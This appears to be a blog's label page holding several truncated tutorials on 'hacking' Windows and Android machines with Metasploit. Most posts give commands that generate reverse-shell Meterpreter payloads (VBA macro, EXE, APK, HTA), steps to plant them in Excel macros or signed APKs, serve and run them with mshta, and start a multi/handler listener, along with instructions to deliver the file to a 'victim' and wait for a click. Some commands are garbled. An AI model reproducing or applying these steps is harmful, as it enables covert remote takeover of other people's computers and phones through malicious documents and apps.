Posts

Showing posts with the label Metasploit

Windows Hacking Using MACRO Malware Using Metasploit

Image
Step 1: Generating payload (VBS) Open terminal in kali and execute the following command: msfvenom -p windows/meterpreter/reverse_https lhost=192.168.154.122 lport=1234 -f vba Step 2: Macros Setting. Create a new excel file and open Macros Setting. Click on micro action , then write micro name and the click on create. Microsoft visual basic page will open. Copy and paste the code generated(msfvenom) in the macro editor.                  Save the file. Step 3: Starting the Metasploit Framework Console. Open Kali terminal and start the listener in msfconsole : Step 4: Setting the payload. use exploit/multi/handler set payload windows/meterpreter/reverse_https Step 5: Provide IP & Port for backdooring. set lhost 192.168.154.122  set lport 1234 Step 6: Sending File exploiting.   exploit Step 7: Wait for victim to click your file. Execute the macro enabled excel sheet in the target system (Windows 10) When victim click and op...

How to attack Windows machine with Metasploit on Kali Linux

Image
Step 1: "Creating the Payload" To Hack Window We Need To Create A Payload That Will Act As A Backdoor For Us To Get Into That PC. To Create Payload For Windows. Open Terminal And Type      msfvenom -p windows/meterpreter/reverse_tcp - platform windows-a x86 -f exe - o /root/Desktop/back.exe   192.168.0.101 Is My And Ip Address And 4444 Is The Port Number That I Want To Use. Now You Will Have A New Payload File Named Newpic.exe In Root Folder.          You Need To Deliver This Malicious File To Your Victim. Step 2: "Starting The Metasploit Framework Console"  For Controlling The Payload We Need To Start The Metasploit Framework  Concole Which Is Prebuilt In Kali Linux.   To Start The Metasploit Framework Console.   In The Terminal Type " Msfconsole" . Step 3: "Choosing The Exploit Method" As I Have Said The Metasploit Framework Console Has Many Exploitation  Method.   In This We Will Use The Multi Handler. ...

Hacking Android Using Metasploit

Image
Step 1 :- Create A Payload. Using " MSFVENOM ", We Create A Payload .apk File. For This, We Use The Following Command:      msfvenom –p android/meterpreter/reverse_tcp LHOST = Localhost = 192.168.0.101 LPORT = 4444 R > RK.apk After This Command, Now You Can Locate Your File On The Desktop With The Name " RK.apk ". Step 2 :- " Keytool " Making " Keystore ".      keytool -genkey -V -keystore key.keystore -alias hacked -keyalg  RSA -keysize 2048 -validity 10000   Step 3 :- Signing A .apk File With " Jarsigner "      jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore  /home/kali/Desktop/key.keystore android_RK.apk kali   Step 4 :- Installing " Zipalign ". Zipalign Is Not Preinstalled In Kali Linux, So You Will Have To " Install " It First.      zipalign -v 4 android_shell.apk singed_jar.apk   Step 5 :- " Verifying " The .apk Into A New File Using Zipalign      zipalign -v 4 ...

HTA Attack Using Metasploit

Image
What is HTA Attack? " HTML Application (HTA) " Is An HTML Microsoft Windows Program Capable Of Running Scripting Languages, Such As VBScript Or JScript. The Metasploit HTA Web Server Exploit Module Hosts An HTA That When Opened Runs A Payload Via Power Shell. Perform HTA Attack Step 1 : To Create Payload For Windows. Open Terminal And Type. To " Start Python Server " Write Below Command.     msfvenom -p windows/meterpreter/reverse_tcp lHOST=192.168.0.103 lport=1234 -f hta-psh > shell.hta Note: 192.168.0.103 Is My System ip Address And 1234 Is The Port Number That I Want To Use.     python -m SimpleHTTPServer 80       Step 2: Run The Above File By Typing:    mshta.exe http://192.168.0.103/shell.hta Step 3: Simultaneously, Start Your Handler To Receive A Session When You Run The Above File In The Victim’s cmd Prompt. To Start The Multi/Handler Type:      use exploit/multi/handler      msf exploit(mul...

Install & Activation Metasploit Pro in windows

Image
Step 1:- O pen Link And Fill Details As Follow. " Read And Select Agreement " And Then Click On " S ubmit" Button.      https://www.rapid7.com/products/metasploit/download/pro/ Step 2:- Select Windows " 64 bit ". The Metasploit File Will Starting.   Step 3:- Now Open Your Email, You Will Get " P roduct Key ". Step 4:- After You Download The Installer, Locate The File And " Double Click " The Installer Icon To Start The Installation Process. When the Setup screen appears, click Next to continue.   Step 5:- Read The " License Agreement " And Select The " I Accept " The License Agreement Option. Click Next To Continue.     Step 6:- " Browse To The Location " Where You Want To Install The Metasploit Framework. By Default, The Framework Is Installed On The " C:\ Metasploit-framework " Directory. Click Next To Continue.   Step 7:- Click On " Next Button ". Step 8:- Click On " Nex...